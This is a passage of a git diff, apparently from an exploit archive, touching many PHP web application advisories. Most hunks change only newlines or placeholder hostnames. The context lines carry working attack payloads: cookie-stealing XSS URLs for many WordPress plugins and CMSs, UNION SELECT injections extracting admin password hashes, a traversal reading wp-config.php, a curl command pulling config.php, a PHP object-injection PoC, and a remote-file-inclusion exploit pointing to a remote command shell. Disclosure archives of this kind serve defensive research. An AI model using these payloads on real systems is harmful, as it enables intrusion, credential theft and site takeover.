attacker to steal cookie-based a OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. -http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37145.txt b/platforms/php/webapps/37145.txt index cc5c0fca5..c6af0ed6b 100755 --- a/platforms/php/webapps/37145.txt +++ b/platforms/php/webapps/37145.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. -http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37146.txt b/platforms/php/webapps/37146.txt index 79f0d5b71..aba6575b0 100755 --- a/platforms/php/webapps/37146.txt +++ b/platforms/php/webapps/37146.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PivotX 2.3.2 is vulnerable; other versions may also be affected. -http://www.example.com/pivotx/ajaxhelper.php?function=view&file=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/pivotx/ajaxhelper.php?function=view&file=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37147.txt b/platforms/php/webapps/37147.txt index 8b1e823f3..e197b4968 100755 --- a/platforms/php/webapps/37147.txt +++ b/platforms/php/webapps/37147.txt @@ -8,4 +8,4 @@ An attacker may leverage the information-disclosure issue to enumerate the exist Chevereto Image Upload Script 1.91 is vulnerable; other versions may also be affected. -http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script> \ No newline at end of file +http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/37148.txt b/platforms/php/webapps/37148.txt index 8e347b297..7fd25d7ab 100755 --- a/platforms/php/webapps/37148.txt +++ b/platforms/php/webapps/37148.txt @@ -8,4 +8,4 @@ An attacker may leverage the information-disclosure issue to enumerate the exist Chevereto Image Upload Script 1.91 is vulnerable; other versions may also be affected. -http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php \ No newline at end of file +http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php \ No newline at end of file diff --git a/platforms/php/webapps/37151.txt b/platforms/php/webapps/37151.txt index 98abf39de..45c9f90ac 100755 --- a/platforms/php/webapps/37151.txt +++ b/platforms/php/webapps/37151.txt @@ -75,7 +75,7 @@ In view of the above, the payload consists of a serialized Tcpdf object with two [!] Generic PoC Exploit ------------------------- - http://vulnerableserver/vulnerable_page.php?vulnearble_par=O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:26:"/var/www/arbitraryfile.ext";s:12:"%00*%00diskcache";b:1;} + http://vulnerablesite.com/vulnerable_page.php?vulnearble_par=O:5:"TCPDF":2:{s:9:"%00*%00buffer";s:26:"/var/www/arbitraryfile.ext";s:12:"%00*%00diskcache";b:1;} ------------------------- diff --git a/platforms/php/webapps/37155.txt b/platforms/php/webapps/37155.txt index ede956f05..5f6930ccb 100755 --- a/platforms/php/webapps/37155.txt +++ b/platforms/php/webapps/37155.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WP-FaceThumb 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/?page_id=1&pagination_wp_facethumb=1"><img/src=x onerror=alert(document.cookie)> \ No newline at end of file +http://www.example.com/?page_id=1&pagination_wp_facethumb=1"><img/src=x onerror=alert(document.cookie)> \ No newline at end of file diff --git a/platforms/php/webapps/37156.txt b/platforms/php/webapps/37156.txt index b614e6271..6f0004b02 100755 --- a/platforms/php/webapps/37156.txt +++ b/platforms/php/webapps/37156.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in GetSimple CMS 3.1 is vulnerable; other versions may also be affected. -http://www.example.com/getsimple/admin/theme.php?err=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file +http://www.example.com/getsimple/admin/theme.php?err=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/37157.txt b/platforms/php/webapps/37157.txt index 739b29d77..dc5fb3a8a 100755 --- a/platforms/php/webapps/37157.txt +++ b/platforms/php/webapps/37157.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in GetSimple CMS 3.1 is vulnerable; other versions may also be affected. -http://www.example.com/getsimple/admin/pages.php?error=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file +http://www.example.com/getsimple/admin/pages.php?error=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C \ No newline at end of file diff --git a/platforms/php/webapps/37158.txt b/platforms/php/webapps/37158.txt index 60ede1c52..0dc1cd583 100755 --- a/platforms/php/webapps/37158.txt +++ b/platforms/php/webapps/37158.txt @@ -7,4 +7,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in GetSimple CMS 3.1 is vulnerable; other versions may also be affected. http://www.example.com/getsimple/admin/index.php?success=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E -http://www.example.com/getsimple/admin/index.php?err=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E \ No newline at end of file +http://www.example.com/getsimple/admin/index.php?err=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E \ No newline at end of file diff --git a/platforms/php/webapps/37159.txt b/platforms/php/webapps/37159.txt index 2f6e57a5e..4e05912a3 100755 --- a/platforms/php/webapps/37159.txt +++ b/platforms/php/webapps/37159.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in GetSimple CMS 3.1 is vulnerable; other versions may also be affected. -http://www.example.com/getsimple/admin/upload.php?path=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E&newfolder=rem0ve \ No newline at end of file +http://www.example.com/getsimple/admin/upload.php?path=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20width=800%20height=800%3E&newfolder=rem0ve \ No newline at end of file diff --git a/platforms/php/webapps/3716.pl b/platforms/php/webapps/3716.pl index d456d69ac..808477650 100755 --- a/platforms/php/webapps/3716.pl +++ b/platforms/php/webapps/3716.pl @@ -65,8 +65,8 @@ sub usage() { head(); print " Usage: exploit.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to MXShotcast ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to MXShotcast ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/37161.txt b/platforms/php/webapps/37161.txt index 69919e488..fa7a6e3af 100755 --- a/platforms/php/webapps/37161.txt +++ b/platforms/php/webapps/37161.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow GRAND Flash Album Gallery 1.71 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=flag-skins&skin=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=flag-skins&skin=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37162.txt b/platforms/php/webapps/37162.txt index 71892030f..706a0cc1b 100755 --- a/platforms/php/webapps/37162.txt +++ b/platforms/php/webapps/37162.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Dynamic Widgets 1.5.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/themes.php?page=dynwid-config&action=edit&id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/themes.php?page=dynwid-config&action=edit&id=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37173.txt b/platforms/php/webapps/37173.txt index 4fbfe2b1d..eff9056c0 100755 --- a/platforms/php/webapps/37173.txt +++ b/platforms/php/webapps/37173.txt @@ -8,4 +8,4 @@ Download Monitor 3.3.5.4 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/download-monitor/uploader.php?tab=addtags="><script>alert(1)</script> http://www.example.com/wp-content/plugins/download-monitor/uploader.php?tab=addthumbnail="><script>alert(1)</script> -http://www.example.com/wp-content/plugins/download-monitor/uploader.php?tab=downloads&s=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/download-monitor/uploader.php?tab=downloads&s=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37174.txt b/platforms/php/webapps/37174.txt index 063f6941d..45bf0c927 100755 --- a/platforms/php/webapps/37174.txt +++ b/platforms/php/webapps/37174.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Network Publisher 5.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/plugins.php?page=networkpub \ No newline at end of file +http://www.example.com/wp-admin/plugins.php?page=networkpub \ No newline at end of file diff --git a/platforms/php/webapps/37175.txt b/platforms/php/webapps/37175.txt index 13cb7c4fa..6adad973f 100755 --- a/platforms/php/webapps/37175.txt +++ b/platforms/php/webapps/37175.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Download Manager 2.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=file-manager/categories&cid=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=file-manager/categories&cid=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37176.txt b/platforms/php/webapps/37176.txt index fd21e924d..45d44e1a3 100755 --- a/platforms/php/webapps/37176.txt +++ b/platforms/php/webapps/37176.txt @@ -8,4 +8,4 @@ PDF & Print Button Joliprint 1.3.0 is vulnerable; other versions may also be aff http://www.example.com/wp-admin/options-general.php?page=joliprint/joliprint_admin_options.php&amp;opt=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E -http://www.example.com/wp-content/plugins/joliprint/joliprint_options_upload.php?type=%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/joliprint/joliprint_options_upload.php?type=%3C/script%3E%3Cscript%3Ealert(1);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37177.txt b/platforms/php/webapps/37177.txt index 6795803e9..58e0e003c 100755 --- a/platforms/php/webapps/37177.txt +++ b/platforms/php/webapps/37177.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CataBlog 1.6 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=catablog-gallery&category="><script>alert(1)</script> \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=catablog-gallery&category="><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37178.txt b/platforms/php/webapps/37178.txt index 36e6f6dc2..d2441f5bf 100755 --- a/platforms/php/webapps/37178.txt +++ b/platforms/php/webapps/37178.txt @@ -8,4 +8,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/pinterest.php?pinterest-url=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&pinterest-description=1 -http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%22%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php?xing-url=%22%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37180.txt b/platforms/php/webapps/37180.txt index bdd2278d2..7f42296fe 100755 --- a/platforms/php/webapps/37180.txt +++ b/platforms/php/webapps/37180.txt @@ -4,4 +4,4 @@ Newsletter Manager plugin for WordPress is prone to multiple cross-site scriptin An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/wp-admin/admin.php?page=newsletter-manager-emailcampaigns&action=test_mail&id=1&pageno=1&id="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=newsletter-manager-emailcampaigns&action=test_mail&id=1&pageno=1&id="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/37189.txt b/platforms/php/webapps/37189.txt index ee11bd173..113a9ceb4 100755 --- a/platforms/php/webapps/37189.txt +++ b/platforms/php/webapps/37189.txt @@ -8,4 +8,4 @@ Media Library Categories 1.1.1 is vulnerable; other versions may also be affecte http://www.example.com/wp-admin/admin.php?page=media-library-categories/add.php&bulk=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&attachments=1 -http://www.example.com/wp-admin/upload.php?page=media-library-categories/view.php&q='><script>alert(1)</script> \ No newline at end of file +http://www.example.com/wp-admin/upload.php?page=media-library-categories/view.php&q='><script>alert(1)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37190.txt b/platforms/php/webapps/37190.txt index a5879efad..447777fca 100755 --- a/platforms/php/webapps/37190.txt +++ b/platforms/php/webapps/37190.txt @@ -8,4 +8,4 @@ LeagueManager 3.7 is vulnerable; other versions may also be affected. http://www.example.com/wp-admin/admin.php?page=leaguemanager&amp;subpage=show-league&amp;league_id=1&amp;group=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt; -http://www.example.com/wp-admin/admin.php?page=leaguemanager&amp;subpage=team&amp;edit=1&amp;season=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=leaguemanager&amp;subpage=team&amp;edit=1&amp;season=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37191.txt b/platforms/php/webapps/37191.txt index ac2829907..52bc50e3b 100755 --- a/platforms/php/webapps/37191.txt +++ b/platforms/php/webapps/37191.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Leaflet 0.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=leaflet_layer&amp;id=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=leaflet_layer&amp;id=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37192.txt b/platforms/php/webapps/37192.txt index 4d5050d94..844d655f1 100755 --- a/platforms/php/webapps/37192.txt +++ b/platforms/php/webapps/37192.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Leaflet 0.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=leaflet_marker&amp;id=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt; \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=leaflet_marker&amp;id=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/37194.txt b/platforms/php/webapps/37194.txt index 7583804d1..341fe915d 100755 --- a/platforms/php/webapps/37194.txt +++ b/platforms/php/webapps/37194.txt @@ -8,4 +8,4 @@ Mingle Forum 1.0.33 is vulnerable; other versions may also be affected. http://www.example.com/wp-admin/admin.php?page=mfstructure&amp;mingleforum_action=structure&amp;do=addforum&amp;groupid=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E -http://www.example.com/wp-admin/admin.php?page=mfgroups&amp;mingleforum_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id=1%27%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=mfgroups&amp;mingleforum_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id=1%27%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37195.txt b/platforms/php/webapps/37195.txt index 2615a5a4d..0a50b0599 100755 --- a/platforms/php/webapps/37195.txt +++ b/platforms/php/webapps/37195.txt @@ -12,4 +12,4 @@ http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.ph http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid=2 AND 1=0 UNION SELECT user_pass FROM wp_users WHERE ID=1 -http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/37200.txt b/platforms/php/webapps/37200.txt index 26ae8d90b..86968a881 100755 --- a/platforms/php/webapps/37200.txt +++ b/platforms/php/webapps/37200.txt @@ -21,7 +21,7 @@ without any further validation. * Proof of Concept Send a post request to -`http://my.vulnerable.webserver/wp-admin/admin-ajax.php` with data: +`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: `action=load_template&template=[relative path to local file]&security=[wp nonce]&referer=[action from which the nonce came from]` diff --git a/platforms/php/webapps/37201.txt b/platforms/php/webapps/37201.txt index 5fb643cbd..6f4c4b868 100755 --- a/platforms/php/webapps/37201.txt +++ b/platforms/php/webapps/37201.txt @@ -8,4 +8,4 @@ Sharebar 1.2.1 is vulnerable; other versions may also be affected. http://www.example.com/wp-admin/options-general.php?page=Sharebar&amp;t=edit&amp;id=1 AND 1=0 UNION SELECT 1,2,3,4,user_pass,6 FROM wp_users WHERE ID=1 -http://www.example.com/wp-content/plugins/sharebar/sharebar-admin.php?status=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/sharebar/sharebar-admin.php?status=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37202.txt b/platforms/php/webapps/37202.txt index 84d42cf69..68bc0ebd4 100755 --- a/platforms/php/webapps/37202.txt +++ b/platforms/php/webapps/37202.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Share and Follow 1.80.3 is vulnerable; other versions may also be affected. http://www.example.com/wp-admin/admin.php?page=share-and-follow-menu -CDN API Key content: &quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file +CDN API Key content: &quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/37204.txt b/platforms/php/webapps/37204.txt index 4fd675cc0..df564ecb5 100755 --- a/platforms/php/webapps/37204.txt +++ b/platforms/php/webapps/37204.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Track That Stat 1.0.8 is vulnerable; other versions may also be affected. -http://www.example.com/wp.bacon/wp-content/plugins/track-that-stat/js/trackthatstat.php?data=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file +http://www.example.com/wp.bacon/wp-content/plugins/track-that-stat/js/trackthatstat.php?data=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file diff --git a/platforms/php/webapps/37205.txt b/platforms/php/webapps/37205.txt index ae5125c5e..7b457f940 100755 --- a/platforms/php/webapps/37205.txt +++ b/platforms/php/webapps/37205.txt @@ -4,4 +4,4 @@ JW Player is prone to a cross-site scripting vulnerability because it fails to s An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/player.swf?debug=function(){alert('Simple Alert')} \ No newline at end of file +http://www.example.com/player.swf?debug=function(){alert('Simple Alert')} \ No newline at end of file diff --git a/platforms/php/webapps/37206.txt b/platforms/php/webapps/37206.txt index 34d0abed6..efb4704d9 100755 --- a/platforms/php/webapps/37206.txt +++ b/platforms/php/webapps/37206.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br phpThumb() 1.7.11-201108081537 is vulnerable; other versions may also be affected. -GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.showpic.php?title="><script>alert(document.cookie);</script> HTTP/1.1 \ No newline at end of file +GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.showpic.php?title="><script>alert(document.cookie);</script> HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/37207.txt b/platforms/php/webapps/37207.txt index 771ffc002..46da9c543 100755 --- a/platforms/php/webapps/37207.txt +++ b/platforms/php/webapps/37207.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br phpThumb() 1.7.11-201108081537 is vulnerable; other versions may also be affected. -GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.random.php?dir="><script>alert(document.cookie);</script> HTTP/1.1 \ No newline at end of file +GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.random.php?dir="><script>alert(document.cookie);</script> HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/37208.txt b/platforms/php/webapps/37208.txt index e6364f1ca..e29483195 100755 --- a/platforms/php/webapps/37208.txt +++ b/platforms/php/webapps/37208.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow backupDB() 1.2.7a is vulnerable; other versions may also be affected. -http://www.example.com/backupDB/backupDB.php?onlyDB="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/backupDB/backupDB.php?onlyDB="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/37216.txt b/platforms/php/webapps/37216.txt index 972f8b39d..767e48811 100755 --- a/platforms/php/webapps/37216.txt +++ b/platforms/php/webapps/37216.txt @@ -4,4 +4,4 @@ The Unijimpe Captcha is prone to a cross-site scripting vulnerability because it An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/captchademo.php/%22%3E%3Cscript%3Ealert%28%27pwned%27%29%3C/script%3E \ No newline at end of file +http://www.example.com/captchademo.php/%22%3E%3Cscript%3Ealert%28%27pwned%27%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37219.txt b/platforms/php/webapps/37219.txt index 6d9c0f768..b38d70fe1 100755 --- a/platforms/php/webapps/37219.txt +++ b/platforms/php/webapps/37219.txt @@ -8,4 +8,4 @@ PHP Address Book 7.0 is vulnerable; other versions may also be affected. http://www.example.com/addressbookv7.0.0/group.php/[XSS] -http://www.example.com/addressbookv7.0.0/translate.php?lang=en&target_language=[XSS] \ No newline at end of file +http://www.example.com/addressbookv7.0.0/translate.php?lang=en&target_language=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3722.txt b/platforms/php/webapps/3722.txt index 6a5561388..07a5eff6a 100755 --- a/platforms/php/webapps/3722.txt +++ b/platforms/php/webapps/3722.txt @@ -13,6 +13,6 @@ __________________________________________________________________________ __________________________________________________________________________ Exploit : -http://server/[path]/autoindex.php?cfg_file=shellmdx.txt? +http://site.com/[path]/autoindex.php?cfg_file=shellmdx.txt? # milw0rm.com [2007-04-12] diff --git a/platforms/php/webapps/37224.txt b/platforms/php/webapps/37224.txt index 9141324d3..093194ac5 100755 --- a/platforms/php/webapps/37224.txt +++ b/platforms/php/webapps/37224.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Yandex.Server 2010 9.0 is vulnerable; other versions may also be affected. -http://www.example.com/search/?text=%27);alert(document.cookie)// \ No newline at end of file +http://www.example.com/search/?text=%27);alert(document.cookie)// \ No newline at end of file diff --git a/platforms/php/webapps/37225.pl b/platforms/php/webapps/37225.pl index 26f38bb75..889e04059 100755 --- a/platforms/php/webapps/37225.pl +++ b/platforms/php/webapps/37225.pl @@ -121,7 +121,7 @@ sub usage { print "\tusage: \n"; print "\t$0 <host> </dir/>\n"; print "\Ex: $0 127.0.0.1 /concrete/\n"; -print "\Ex2: $0 server /\n\n"; +print "\Ex2: $0 target.com /\n\n"; exit(); }; diff --git a/platforms/php/webapps/37244.txt b/platforms/php/webapps/37244.txt index 9d5e87322..5d63513f5 100755 --- a/platforms/php/webapps/37244.txt +++ b/platforms/php/webapps/37244.txt @@ -10,7 +10,7 @@ ###################################################################################### Description : Wordpress Plugin 'WP Mobile Edition' is not filtering data so we can get the configration file in the path -< server/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php> +< site.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php> # Exploite Code : <?php @@ -107,4 +107,4 @@ if(!empty($allLinks) && is_array($allLinks)){ return array_unique(array_map("urldecode", $allLinks)); } } -?> \ No newline at end of file +?> \ No newline at end of file diff --git a/platforms/php/webapps/37283.txt b/platforms/php/webapps/37283.txt index 1404e3fdb..9280c63f0 100755 --- a/platforms/php/webapps/37283.txt +++ b/platforms/php/webapps/37283.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to steal cookie information, execute arbitrar http://www.example.com/demo/php-photo-album-script/index.php/%F6%22%20onmouseover=document.write%28%22google.com%22%29%20 -http://www.example.com/demo/php-photo-album-script/index.php/?gazpart=suggest \ No newline at end of file +http://www.example.com/demo/php-photo-album-script/index.php/?gazpart=suggest \ No newline at end of file diff --git a/platforms/php/webapps/3729.txt b/platforms/php/webapps/3729.txt index 438b6f16e..d34d3c752 100755 --- a/platforms/php/webapps/3729.txt +++ b/platforms/php/webapps/3729.txt @@ -1,4 +1,4 @@ -. . . + . . . ._ | _. .|_ _. _.;_/ [_)|(_]\_|[ )(_](_.| \.net | ._| diff --git a/platforms/php/webapps/37304.txt b/platforms/php/webapps/37304.txt index c717ff9e5..3f4a255ef 100755 --- a/platforms/php/webapps/37304.txt +++ b/platforms/php/webapps/37304.txt @@ -42,4 +42,4 @@ file:/modules/blackcat/widgets/logs.php POC: -curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/modules/blackcat/widgets/logs.php?dl=../config.php" |gunzip - \ No newline at end of file +curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/modules/blackcat/widgets/logs.php?dl=../config.php" |gunzip - \ No newline at end of file diff --git a/platforms/php/webapps/37305.txt b/platforms/php/webapps/37305.txt index 8a1b615b8..8f9ab4ed8 100755 --- a/platforms/php/webapps/37305.txt +++ b/platforms/php/webapps/37305.txt @@ -4,4 +4,4 @@ Plogger Photo Gallery is prone to an SQL-injection vulnerability because it fail A successful exploit will allow an attacker to compromise the application, to access or modify data, or to exploit latent vulnerabilities in the underlying database. -http://www.example.com/demo/plog-rss.php?id=1%27%22&level=collection \ No newline at end of file +http://www.example.com/demo/plog-rss.php?id=1%27%22&level=collection \ No newline at end of file diff --git a/platforms/php/webapps/37307.txt b/platforms/php/webapps/37307.txt index 63cfa342d..4fa59f653 100755 --- a/platforms/php/webapps/37307.txt +++ b/platforms/php/webapps/37307.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow phAlbum 1.5.1 is vulnerable; other versions may also be affected. -http://www.example.com/demos/phAlbum/index.php/%F6%22%20onmouseover=document.write%28%22index.html%22%29%20// \ No newline at end of file +http://www.example.com/demos/phAlbum/index.php/%F6%22%20onmouseover=document.write%28%22index.html%22%29%20// \ No newline at end of file diff --git a/platforms/php/webapps/37310.txt b/platforms/php/webapps/37310.txt index 88c91abc2..a596c711f 100755 --- a/platforms/php/webapps/37310.txt +++ b/platforms/php/webapps/37310.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and to execute local sc Ajaxmint Gallery 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/learn/ajaxmint/ajaxmint-gallery/admin/index.php?c=..\..\..\..\ajaxmint-gallery/pictures/5_me.jpg%00 [aka shell] \ No newline at end of file +http://www.example.com/learn/ajaxmint/ajaxmint-gallery/admin/index.php?c=..\..\..\..\ajaxmint-gallery/pictures/5_me.jpg%00 [aka shell] \ No newline at end of file diff --git a/platforms/php/webapps/37311.txt b/platforms/php/webapps/37311.txt index 7a2f76cfb..cc384ca9d 100755 --- a/platforms/php/webapps/37311.txt +++ b/platforms/php/webapps/37311.txt @@ -9,4 +9,4 @@ Pligg CMS 1.2.2 is vulnerable; other versions may also be affected. http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_low=%22%3E%3Cs 